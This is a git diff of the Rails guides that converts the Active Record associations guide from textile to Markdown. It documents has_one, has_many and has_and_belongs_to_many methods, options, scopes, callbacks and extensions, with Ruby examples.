+##### `:primary_key`
+
+By convention, Rails assumes that the column used to hold the primary key of this model is `id`. You can override this and explicitly specify the primary key with the `:primary_key` option.
+
+##### `:source`
+
+The `:source` option specifies the source association name for a `has_one :through` association.
+
+##### `:source_type`
+
+The `:source_type` option specifies the source association type for a `has_one :through` association that proceeds through a polymorphic association.
+
+##### `:through`
+
+The `:through` option specifies a join model through which to perform the query. `has_one :through` associations were discussed in detail <a href="#the-has-one-through-association">earlier in this guide</a>.
+
+##### `:validate`
+
+If you set the `:validate` option to `true`, then associated objects will be validated whenever you save this object. By default, this is `false`: associated objects will not be validated when this object is saved.
+
+#### Scopes for `has_one`
+
+There may be times when you wish to customize the query used by `has_one`. Such customizations can be achieved via a scope block. For example:
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account, -> { where :active => true }
+end
+```
+
+You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below:
+
+* `where`
+* `includes`
+* `readonly`
+* `select`
+
+##### `where`
+
+The `where` method lets you specify the conditions that the associated object must meet.
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account, -> { where "confirmed = 1" }
+end
+```
+
+##### `includes`
+
+You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account
+end
+
+class Account < ActiveRecord::Base
+ belongs_to :supplier
+ belongs_to :representative
+end
+
+class Representative < ActiveRecord::Base
+ has_many :accounts
+end
+```
+
+If you frequently retrieve representatives directly from suppliers (`@supplier.account.representative`), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts:
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account, -> { includes :representative }
+end
+
+class Account < ActiveRecord::Base
+ belongs_to :supplier
+ belongs_to :representative
+end
+
+class Representative < ActiveRecord::Base
+ has_many :accounts
+end
+```
+
+##### `readonly`
+
+If you use the `readonly` method, then the associated object will be read-only when retrieved via the association.
+
+##### `select`
+
+The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
+
+#### Do Any Associated Objects Exist?
+
+You can see if any associated objects exist by using the `association.nil?` method:
+
+```ruby
+if @supplier.account.nil?
+ @msg = "No account found for this supplier"
+end
+```
+
+#### When are Objects Saved?
+
+When you assign an object to a `has_one` association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too.
+
+If either of these saves fails due to validation errors, then the assignment statement returns `false` and the assignment itself is cancelled.
+
+If the parent object (the one declaring the `has_one` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved. They will automatically when the parent object is saved.
+
+If you want to assign an object to a `has_one` association without saving the object, use the `association.build` method.
+
+### `has_many` Association Reference
+
+The `has_many` association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class.
+
+#### Methods Added by `has_many`
+
+When you declare a `has_many` association, the declaring class automatically gains 13 methods related to the association:
+
+* `collection(force_reload = false)`
+* `collection<<(object, ...)`
+* `collection.delete(object, ...)`
+* `collection=objects`
+* `collection_singular_ids`
+* `collection_singular_ids=ids`
+* `collection.clear`
+* `collection.empty?`
+* `collection.size`
+* `collection.find(...)`
+* `collection.where(...)`
+* `collection.exists?(...)`
+* `collection.build(attributes = {}, ...)`
+* `collection.create(attributes = {})`
+
+In all of these methods, `collection` is replaced with the symbol passed as the first argument to `has_many`, and `collection_singular` is replaced with the singularized version of that symbol.. For example, given the declaration:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+```
+
+Each instance of the customer model will have these methods:
+
+```ruby
+orders(force_reload = false)
+orders<<(object, ...)
+orders.delete(object, ...)
+orders=objects
+order_ids
+order_ids=ids
+orders.clear
+orders.empty?
+orders.size
+orders.find(...)
+orders.where(...)
+orders.exists?(...)
+orders.build(attributes = {}, ...)
+orders.create(attributes = {})
+```
+
+##### `collection(force_reload = false)`
+
+The `collection` method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
+
+```ruby
+@orders = @customer.orders
+```
+
+##### `collection<<(object, ...)`
+
+The `collection<<` method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.
+
+```ruby
+@customer.orders << @order1
+```
+
+##### `collection.delete(object, ...)`
+
+The `collection.delete` method removes one or more objects from the collection by setting their foreign keys to `NULL`.
+
+```ruby
+@customer.orders.delete(@order1)
+```
+
+WARNING: Additionally, objects will be destroyed if they're associated with `:dependent => :destroy`, and deleted if they're associated with `:dependent => :delete_all`.
+
+
+##### `collection=objects`
+
+The `collection=` method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
+
+##### `collection_singular_ids`
+
+The `collection_singular_ids` method returns an array of the ids of the objects in the collection.
+
+```ruby
+@order_ids = @customer.order_ids
+```
+
+##### `collection_singular_ids=ids`
+
+The `collection_singular_ids=` method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
+
+##### `collection.clear`
+
+The `collection.clear` method removes every object from the collection. This destroys the associated objects if they are associated with `:dependent => :destroy`, deletes them directly from the database if `:dependent => :delete_all`, and otherwise sets their foreign keys to `NULL`.
+
+##### `collection.empty?`
+
+The `collection.empty?` method returns `true` if the collection does not contain any associated objects.
+
+```erb
+<% if @customer.orders.empty? %>
+ No Orders Found
+<% end %>
+```
+
+##### `collection.size`
+
+The `collection.size` method returns the number of objects in the collection.
+
+```ruby
+@order_count = @customer.orders.size
+```
+
+##### `collection.find(...)`
+
+The `collection.find` method finds objects within the collection. It uses the same syntax and options as `ActiveRecord::Base.find`.
+
+```ruby
+@open_orders = @customer.orders.find(1)
+```
+
+##### `collection.where(...)`
+
+The `collection.where` method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed.
+
+```ruby
+@open_orders = @customer.orders.where(:open => true) # No query yet
+@open_order = @open_orders.first # Now the database will be queried
+```
+
+##### `collection.exists?(...)`
+
+The `collection.exists?` method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as `ActiveRecord::Base.exists?`.
+
+##### `collection.build(attributes = {}, ...)`
+
+The `collection.build` method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will _not_ yet be saved.
+
+```ruby
+@order = @customer.orders.build(:order_date => Time.now,
+ :order_number => "A12345")
+```
+
+##### `collection.create(attributes = {})`
+
+The `collection.create` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
+
+```ruby
+@order = @customer.orders.create(:order_date => Time.now,
+ :order_number => "A12345")
+```
+
+#### Options for `has_many`
+
+While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_many` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders, :dependent => :delete_all, :validate => :false
+end
+```
+
+The `has_many` association supports these options:
+
+* `:as`
+* `:autosave`
+* `:class_name`
+* `:dependent`
+* `:foreign_key`
+* `:inverse_of`
+* `:primary_key`
+* `:source`
+* `:source_type`
+* `:through`
+* `:validate`
+
+##### `:as`
+
+Setting the `:as` option indicates that this is a polymorphic association, as discussed <a href="#polymorphic-associations">earlier in this guide</a>.
+
+##### `:autosave`
+
+If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+
+##### `:class_name`
+
+If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is `Transaction`, you'd set things up this way:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders, :class_name => "Transaction"
+end
+```
+
+##### `:dependent`
+
+Controls what happens to the associated objects when their owner is destroyed:
+
+* `:destroy` causes all the associated objects to also be destroyed
+* `:delete_all` causes all the asssociated objects to be deleted directly from the database (so callbacks will not execute)
+* `:nullify` causes the foreign keys to be set to `NULL`. Callbacks are not executed.
+* `:restrict_with_exception` causes an exception to be raised if there are any associated records
+* `:restrict_with_error` causes an error to be added to the owner if there are any associated objects
+
+NOTE: This option is ignored when you use the `:through` option on the association.
+
+##### `:foreign_key`
+
+By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders, :foreign_key => "cust_id"
+end
+```
+
+TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
+
+##### `:inverse_of`
+
+The `:inverse_of` option specifies the name of the `belongs_to` association that is the inverse of this association. Does not work in combination with the `:through` or `:as` options.
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders, :inverse_of => :customer
+end
+
+class Order < ActiveRecord::Base
+ belongs_to :customer, :inverse_of => :orders
+end
+```
+
+##### `:primary_key`
+
+By convention, Rails assumes that the column used to hold the primary key of the association is `id`. You can override this and explicitly specify the primary key with the `:primary_key` option.
+
+##### `:source`
+
+The `:source` option specifies the source association name for a `has_many :through` association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name.
+
+##### `:source_type`
+
+The `:source_type` option specifies the source association type for a `has_many :through` association that proceeds through a polymorphic association.
+
+##### `:through`
+
+The `:through` option specifies a join model through which to perform the query. `has_many :through` associations provide a way to implement many-to-many relationships, as discussed <a href="#the-has-many-through-association">earlier in this guide</a>.
+
+##### `:validate`
+
+If you set the `:validate` option to `false`, then associated objects will not be validated whenever you save this object. By default, this is `true`: associated objects will be validated when this object is saved.
+
+#### Scopes for `has_many`
+
+There may be times when you wish to customize the query used by `has_many`. Such customizations can be achieved via a scope block. For example:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders, -> { where :processed => true }
+end
+```
+
+You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below:
+
+* `where`
+* `extending`
+* `group`
+* `includes`
+* `limit`
+* `offset`
+* `order`
+* `readonly`
+* `select`
+* `uniq`
+
+##### `where`
+
+The `where` method lets you specify the conditions that the associated object must meet.
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :confirmed_orders, -> { where "confirmed = 1" },
+ :class_name => "Order"
+end
+```
+
+You can also set conditions via a hash:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :confirmed_orders, -> { where :confirmed => true },
+ :class_name => "Order"
+end
+```
+
+If you use a hash-style `where` option, then record creation via this association will be automatically scoped using the hash. In this case, using `@customer.confirmed_orders.create` or `@customer.confirmed_orders.build` will create orders where the confirmed column has the value `true`.
+
+##### `extending`
+
+The `extending` method specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>.
+
+##### `group`
+
+The `group` method supplies an attribute name to group the result set by, using a `GROUP BY` clause in the finder SQL.
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :line_items, -> { group 'orders.id' },
+ :through => :orders
+end
+```
+
+##### `includes`
+
+You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+
+class Order < ActiveRecord::Base
+ belongs_to :customer
+ has_many :line_items
+end
+
+class LineItem < ActiveRecord::Base
+ belongs_to :order
+end
+```
+
+If you frequently retrieve line items directly from customers (`@customer.orders.line_items`), then you can make your code somewhat more efficient by including line items in the association from customers to orders:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders, -> { includes :line_items }
+end
+
+class Order < ActiveRecord::Base
+ belongs_to :customer
+ has_many :line_items
+end
+
+class LineItem < ActiveRecord::Base
+ belongs_to :order
+end
+```
+
+##### `limit`
+
+The `limit` method lets you restrict the total number of objects that will be fetched through an association.
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :recent_orders,
+ -> { order('order_date desc').limit(100) },
+ :class_name => "Order",
+end
+```
+
+##### `offset`
+
+The `offset` method lets you specify the starting offset for fetching objects via an association. For example, `-> { offset(11) }` will skip the first 11 records.
+
+##### `order`
+
+The `order` method dictates the order in which associated objects will be received (in the syntax used by an SQL `ORDER BY` clause).
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders, -> { order "date_confirmed DESC" }
+end
+```
+
+##### `readonly`
+
+If you use the `readonly` method, then the associated objects will be read-only when retrieved via the association.
+
+##### `select`
+
+The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
+
+WARNING: If you specify your own `select`, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error.
+
+##### `uniq`
+
+Use the `uniq` method to keep the collection free of duplicates. This is mostly useful together with the `:through` option.
+
+```ruby
+class Person < ActiveRecord::Base
+ has_many :readings
+ has_many :posts, :through => :readings
+end
+
+person = Person.create(:name => 'john')
+post = Post.create(:name => 'a1')
+person.posts << post
+person.posts << post
+person.posts.inspect # => [#<Post id: 5, name: "a1">, #<Post id: 5, name: "a1">]
+Reading.all.inspect # => [#<Reading id: 12, person_id: 5, post_id: 5>, #<Reading id: 13, person_id: 5, post_id: 5>]
+```
+
+In the above case there are two readings and `person.posts` brings out both of them even though these records are pointing to the same post.
+
+Now let's set `uniq`:
+
+```ruby
+class Person
+ has_many :readings
+ has_many :posts, -> { uniq }, :through => :readings
+end
+
+person = Person.create(:name => 'honda')
+post = Post.create(:name => 'a1')
+person.posts << post
+person.posts << post
+person.posts.inspect # => [#<Post id: 7, name: "a1">]
+Reading.all.inspect # => [#<Reading id: 16, person_id: 7, post_id: 7>, #<Reading id: 17, person_id: 7, post_id: 7>]
+```
+
+In the above case there are still two readings. However `person.posts` shows only one post because the collection loads only unique records.
+
+#### When are Objects Saved?
+
+When you assign an object to a `has_many` association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved.
+
+If any of these saves fails due to validation errors, then the assignment statement returns `false` and the assignment itself is cancelled.
+
+If the parent object (the one declaring the `has_many` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
+
+If you want to assign an object to a `has_many` association without saving the object, use the `collection.build` method.
+
+### `has_and_belongs_to_many` Association Reference
+
+The `has_and_belongs_to_many` association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes.
+
+#### Methods Added by `has_and_belongs_to_many`
+
+When you declare a `has_and_belongs_to_many` association, the declaring class automatically gains 13 methods related to the association:
+
+* `collection(force_reload = false)`
+* `collection<<(object, ...)`
+* `collection.delete(object, ...)`
+* `collection=objects`
+* `collection_singular_ids`
+* `collection_singular_ids=ids`
+* `collection.clear`
+* `collection.empty?`
+* `collection.size`
+* `collection.find(...)`
+* `collection.where(...)`
+* `collection.exists?(...)`
+* `collection.build(attributes = {})`
+* `collection.create(attributes = {})`
+
+In all of these methods, `collection` is replaced with the symbol passed as the first argument to `has_and_belongs_to_many`, and `collection_singular` is replaced with the singularized version of that symbol. For example, given the declaration:
+
+```ruby
+class Part < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies
+end
+```
+
+Each instance of the part model will have these methods:
+
+```ruby
+assemblies(force_reload = false)
+assemblies<<(object, ...)
+assemblies.delete(object, ...)
+assemblies=objects
+assembly_ids
+assembly_ids=ids
+assemblies.clear
+assemblies.empty?
+assemblies.size
+assemblies.find(...)
+assemblies.where(...)
+assemblies.exists?(...)
+assemblies.build(attributes = {}, ...)
+assemblies.create(attributes = {})
+```
+
+##### Additional Column Methods
+
+If the join table for a `has_and_belongs_to_many` association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes.
+
+WARNING: The use of extra attributes on the join table in a `has_and_belongs_to_many` association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a `has_many :through` association instead of `has_and_belongs_to_many`.
+
+
+##### `collection(force_reload = false)`
+
+The `collection` method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
+
+```ruby
+@assemblies = @part.assemblies
+```
+
+##### `collection<<(object, ...)`
+
+The `collection<<` method adds one or more objects to the collection by creating records in the join table.
+
+```ruby
+@part.assemblies << @assembly1
+```
+
+NOTE: This method is aliased as `collection.concat` and `collection.push`.
+
+##### `collection.delete(object, ...)`
+
+The `collection.delete` method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.
+
+```ruby
+@part.assemblies.delete(@assembly1)
+```
+
+##### `collection=objects`
+
+The `collection=` method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
+
+##### `collection_singular_ids`
+
+The `collection_singular_ids` method returns an array of the ids of the objects in the collection.
+
+```ruby
+@assembly_ids = @part.assembly_ids
+```
+
+##### `collection_singular_ids=ids`
+
+The `collection_singular_ids=` method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
+
+##### `collection.clear`
+
+The `collection.clear` method removes every object from the collection by deleting the rows from the joining table. This does not destroy the associated objects.
+
+##### `collection.empty?`
+
+The `collection.empty?` method returns `true` if the collection does not contain any associated objects.
+
+```ruby
+<% if @part.assemblies.empty? %>
+ This part is not used in any assemblies
+<% end %>
+```
+
+##### `collection.size`
+
+The `collection.size` method returns the number of objects in the collection.
+
+```ruby
+@assembly_count = @part.assemblies.size
+```
+
+##### `collection.find(...)`
+
+The `collection.find` method finds objects within the collection. It uses the same syntax and options as `ActiveRecord::Base.find`. It also adds the additional condition that the object must be in the collection.
+
+```ruby
+@assembly = @part.assemblies.find(1)
+```
+
+##### `collection.where(...)`
+
+The `collection.where` method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed. It also adds the additional condition that the object must be in the collection.
+
+```ruby
+@new_assemblies = @part.assemblies.where("created_at > ?", 2.days.ago)
+```
+
+##### `collection.exists?(...)`
+
+The `collection.exists?` method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as `ActiveRecord::Base.exists?`.
+
+##### `collection.build(attributes = {})`
+
+The `collection.build` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will _not_ yet be saved.
+
+```ruby
+@assembly = @part.assemblies.build(
+ {:assembly_name => "Transmission housing"})
+```
+
+##### `collection.create(attributes = {})`
+
+The `collection.create` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
+
+```ruby
+@assembly = @part.assemblies.create(
+ {:assembly_name => "Transmission housing"})
+```
+
+#### Options for `has_and_belongs_to_many`
+
+While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_and_belongs_to_many` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options:
+
+```ruby
+class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies, :uniq => true,
+ :read_only => true
+end
+```
+
+The `has_and_belongs_to_many` association supports these options:
+
+* `:association_foreign_key`
+* `:autosave`
+* `:class_name`
+* `:foreign_key`
+* `:join_table`
+* `:validate`
+
+##### `:association_foreign_key`
+
+By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix `_id` added. The `:association_foreign_key` option lets you set the name of the foreign key directly:
+
+TIP: The `:foreign_key` and `:association_foreign_key` options are useful when setting up a many-to-many self-join. For example:
+
+```ruby
+class User < ActiveRecord::Base
+ has_and_belongs_to_many :friends, :class_name => "User",
+ :foreign_key => "this_user_id",
+ :association_foreign_key => "other_user_id"
+end
+```
+
+##### `:autosave`
+
+If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+
+##### `:class_name`
+
+If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is `Gadget`, you'd set things up this way:
+
+```ruby
+class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies, :class_name => "Gadget"
+end
+```
+
+##### `:foreign_key`
+
+By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly:
+
+```ruby
+class User < ActiveRecord::Base
+ has_and_belongs_to_many :friends, :class_name => "User",
+ :foreign_key => "this_user_id",
+ :association_foreign_key => "other_user_id"
+end
+```
+
+##### `:join_table`
+
+If the default name of the join table, based on lexical ordering, is not what you want, you can use the `:join_table` option to override the default.
+
+##### `:validate`
+
+If you set the `:validate` option to `false`, then associated objects will not be validated whenever you save this object. By default, this is `true`: associated objects will be validated when this object is saved.
+
+#### Scopes for `has_and_belongs_to_many`
+
+There may be times when you wish to customize the query used by `has_and_belongs_to_many`. Such customizations can be achieved via a scope block. For example:
+
+```ruby
+class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies, -> { where :active => true }
+end
+```
+
+You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below:
+
+* `where`
+* `extending`
+* `group`
+* `includes`
+* `limit`
+* `offset`
+* `order`
+* `readonly`
+* `select`
+* `uniq`
+
+##### `where`
+
+The `where` method lets you specify the conditions that the associated object must meet.
+
+```ruby
+class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies,
+ -> { where "factory = 'Seattle'" }
+end
+```
+
+You can also set conditions via a hash:
+
+```ruby
+class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies,
+ -> { where :factory => 'Seattle' }
+end
+```
+
+If you use a hash-style `where`, then record creation via this association will be automatically scoped using the hash. In this case, using `@parts.assemblies.create` or `@parts.assemblies.build` will create orders where the `factory` column has the value "Seattle".
+
+##### `extending`
+
+The `extending` method specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>.
+
+##### `group`
+
+The `group` method supplies an attribute name to group the result set by, using a `GROUP BY` clause in the finder SQL.
+
+```ruby
+class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies, -> { group "factory" }
+end
+```
+
+##### `includes`
+
+You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used.
+
+##### `limit`
+
+The `limit` method lets you restrict the total number of objects that will be fetched through an association.
+
+```ruby
+class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies,
+ -> { order("created_at DESC").limit(50) }
+end
+```
+
+##### `offset`
+
+The `offset` method lets you specify the starting offset for fetching objects via an association. For example, if you set `offset(11)`, it will skip the first 11 records.
+
+##### `order`
+
+The `order` method dictates the order in which associated objects will be received (in the syntax used by an SQL `ORDER BY` clause).
+
+```ruby
+class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies,
+ -> { order "assembly_name ASC" }
+end
+```
+
+##### `readonly`
+
+If you use the `readonly` method, then the associated objects will be read-only when retrieved via the association.
+
+##### `select`
+
+The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
+
+##### `uniq`
+
+Use the `uniq` method to remove duplicates from the collection.
+
+#### When are Objects Saved?
+
+When you assign an object to a `has_and_belongs_to_many` association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved.
+
+If any of these saves fails due to validation errors, then the assignment statement returns `false` and the assignment itself is cancelled.
+
+If the parent object (the one declaring the `has_and_belongs_to_many` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
+
+If you want to assign an object to a `has_and_belongs_to_many` association without saving the object, use the `collection.build` method.
+
+### Association Callbacks
+
+Normal callbacks hook into the life cycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a `:before_save` callback to cause something to happen just before an object is saved.
+
+Association callbacks are similar to normal callbacks, but they are triggered by events in the life cycle of a collection. There are four available association callbacks:
+
+* `before_add`
+* `after_add`
+* `before_remove`
+* `after_remove`
+
+You define association callbacks by adding options to the association declaration. For example:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders, :before_add => :check_credit_limit
+
+ def check_credit_limit(order)
+ ...
+ end
+end
+```
+
+Rails passes the object being added or removed to the callback.
+
+You can stack callbacks on a single event by passing them as an array:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders,
+ :before_add => [:check_credit_limit, :calculate_shipping_charges]
+
+ def check_credit_limit(order)
+ ...
+ end
+
+ def calculate_shipping_charges(order)
+ ...
+ end
+end
+```
+
+If a `before_add` callback throws an exception, the object does not get added to the collection. Similarly, if a `before_remove` callback throws an exception, the object does not get removed from the collection.
+
+### Association Extensions
+
+You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders do
+ def find_by_order_prefix(order_number)
+ find_by_region_id(order_number[0..2])
+ end
+ end
+end
+```
+
+If you have an extension that should be shared by many associations, you can use a named extension module. For example:
+
+```ruby
+module FindRecentExtension
+ def find_recent
+ where("created_at > ?", 5.days.ago)
+ end
+end
+
+class Customer < ActiveRecord::Base
+ has_many :orders, -> { extending FindRecentExtension }
+end
+
+class Supplier < ActiveRecord::Base
+ has_many :deliveries, -> { extending FindRecentExtension }
+end
+```
+
+Extensions can refer to the internals of the association proxy using these three attributes of the `proxy_association` accessor:
+
+* `proxy_association.owner` returns the object that the association is a part of.
+* `proxy_association.reflection` returns the reflection object that describes the association.
+* `proxy_association.target` returns the associated object for `belongs_to` or `has_one`, or the collection of associated objects for `has_many` or `has_and_belongs_to_many`.
diff --git a/guides/source/association_basics.textile b/guides/source/association_basics.textile
deleted file mode 100644
index d4c0a1ba74..0000000000
--- a/guides/source/association_basics.textile
+++ /dev/null
@@ -1,1967 +0,0 @@
-h2. A Guide to Active Record Associations
-
-This guide covers the association features of Active Record. By referring to this guide, you will be able to:
-
-* Declare associations between Active Record models
-* Understand the various types of Active Record associations
-* Use the methods added to your models by creating associations
-
-endprologue.
-
-h3. Why Associations?
-
-Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for customers and a model for orders. Each customer can have many orders. Without associations, the model declarations would look like this:
-
-<ruby>
-class Customer < ActiveRecord::Base
-end
-
-class Order < ActiveRecord::Base
-end
-</ruby>
-
-Now, suppose we wanted to add a new order for an existing customer. We'd need to do something like this:
-
-<ruby>
-@order = Order.create(:order_date => Time.now,
- :customer_id => @customer.id)
-</ruby>
-
-Or consider deleting a customer, and ensuring that all of its orders get deleted as well:
-
-<ruby>
-@orders = Order.where(:customer_id => @customer.id)
-@orders.each do |order|
- order.destroy
-end
-@customer.destroy
-</ruby>
-
-With Active Record associations, we can streamline these -- and other -- operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders:
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :orders, :dependent => :destroy
-end
-
-class Order < ActiveRecord::Base
- belongs_to :customer
-end
-</ruby>
-
-With this change, creating a new order for a particular customer is easier:
-
-<ruby>
-@order = @customer.orders.create(:order_date => Time.now)
-</ruby>
-
-Deleting a customer and all of its orders is _much_ easier:
-
-<ruby>
-@customer.destroy
-</ruby>
-
-To learn more about the different types of associations, read the next section of this guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.
-
-h3. The Types of Associations
-
-In Rails, an _association_ is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model +belongs_to+ another, you instruct Rails to maintain Primary Key–Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of associations:
-
-* +belongs_to+
-* +has_one+
-* +has_many+
-* +has_many :through+
-* +has_one :through+
-* +has_and_belongs_to_many+
-
-In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate.
-
-h4. The +belongs_to+ Association
-
-A +belongs_to+ association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you'd declare the order model this way:
-
-<ruby>
-class Order < ActiveRecord::Base
- belongs_to :customer
-end
-</ruby>
-
-!images/belongs_to.png(belongs_to Association Diagram)!
-
-h4. The +has_one+ Association
-
-A +has_one+ association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this:
-
-<ruby>
-class Supplier < ActiveRecord::Base
- has_one :account
-end
-</ruby>
-
-!images/has_one.png(has_one Association Diagram)!
-
-h4. The +has_many+ Association
-
-A +has_many+ association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a +belongs_to+ association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this:
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :orders
-end
-</ruby>
-
-NOTE: The name of the other model is pluralized when declaring a +has_many+ association.
-
-!images/has_many.png(has_many Association Diagram)!
-
-h4. The +has_many :through+ Association
-
-A +has_many :through+ association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding _through_ a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:
-
-<ruby>
-class Physician < ActiveRecord::Base
- has_many :appointments
- has_many :patients, :through => :appointments
-end
-
-class Appointment < ActiveRecord::Base
- belongs_to :physician
- belongs_to :patient
-end
-
-class Patient < ActiveRecord::Base
- has_many :appointments
- has_many :physicians, :through => :appointments
-end
-</ruby>
-
-!images/has_many_through.png(has_many :through Association Diagram)!
-
-The collection of join models can be managed via the API. For example, if you assign
-
-<ruby>
-physician.patients = patients
-</ruby>
-
-new join models are created for newly associated objects, and if some are gone their rows are deleted.
-
